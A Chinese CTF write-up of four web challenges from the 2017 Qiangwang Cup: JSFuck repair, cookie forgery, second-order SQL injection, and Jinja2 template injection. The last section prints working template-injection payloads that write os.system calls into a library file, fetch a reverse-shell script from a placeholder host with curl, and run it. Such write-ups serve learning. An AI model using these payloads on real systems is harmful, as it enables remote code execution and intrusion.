2017广东省强网杯 WEB题writeup

9月10日下午六点,第二届强网杯线上预赛正式结束。这是我们团队首次参加CTF比赛,在这次比赛中我们也收获了不少东西。能拿到不错的成绩都是依靠团队里各位小伙伴的给力表现,在此,要感谢团队的小伙伴们!

这次比赛中 WEB题目共有四题,下面会逐题奉上我们的解题思路。


# WEB 50pt #

## broken ##

题目内容是一段 jsfuck,但是直接在浏览器控制台中 eval执行会提示语法错误: qwb_writeup_1

仔细观察 jsfuck的语法结构,把最后的 ()去除,并加上 ]。再在浏览器控制台使用 eval执行,得出一个 数组结构,flag就在 数组中。 qwb_writeup_2


# WEB 100pt #

## who are you? ##

直接访问题目地址,会出现以下提示: qwb_writeup_3

观察请求数据,发现 Cookie中新增了内容: role=Zjo1OiJ0aHJmZyI7

Zjo1OiJ0aHJmZyI7进行base64解码后得出:f:5:"thrfg"; 我们在这道题卡了一段时间,最终才知道 thrfg需要进行 rot13编码,thrfg编码后内容为 guest,那么将 admin进行 rot13编码再将 f:5:"nqzva"; base64编码然后发出请求。 qwb_writeup_4

接下来只要根据注释内给出的提示发出请求即可获得 flag。


# WEB 200pt #

## phone number ##

根据页面提示随意注册了一个帐号登录后的页面如下: qwb_writeup_5

有一个check按钮,点击按钮进入 check.php页面,查看源码可发现: qwb_writeup_6

猜测 flag就藏在 admin帐号的手机号中。测试了一番,发现是一个二次注入,注入点在手机号的位置。由于后台对手机号进行了检查,所以在注册帐号的时候需要将注入的 payload转换为 hex(0x)。写了个脚本,跑出结果: qwb_writeup_7


# WEB 400pt #

## Musee de X ##

WEB 400pt,首先注册一个 admin帐号进行测试,在 donate.php页面填入一个内容为非图片的url和当前登录的用户名,提交后页面报错,根据页面报错得知服务端为 1.11.5版本的 Django,并且开启了 debug模式。因为 debug模式,所以可以直接在报错页面看到发生错误的相关代码。直接贴出关键代码:
qwb_writeup_8

由此可知是 jinja2的模板注入漏洞,输入点位于用户名处,所以需要注册一个用户名为 pyaload的用户执行 donate操作触发模板注入漏洞。 这里直接贴出我们的 pyaload:(通过写入 python代码到 /usr/local/lib/python2.7/dist-packages/jinja2/environment.py来触发代码执行)

第一步,下载远程文件:(文件内容是一个反弹shell) {{''.__class__.__mro__[2].__subclasses__()[40]('2f7573722f6c6f63616c2f6c69622f707974686f6e322e372f646973742d7061636b616765732f6a696e6a61322f656e7669726f6e6d656e742e7079'.decode('hex'),'a').write("\nos.system('curl your_ip >1')")}}

第二步,执行下载下来的文件: {{''.__class__.__mro__[2].__subclasses__()[40]('2f7573722f6c6f63616c2f6c69622f707974686f6e322e372f646973742d7061636b616765732f6a696e6a61322f656e7669726f6e6d656e742e7079'.decode('hex'),'a').write("\nos.system('bash 1')")}}

反弹shell成功,在当前目录下即可找到存有 flag的文件。



至此,WEB题完结。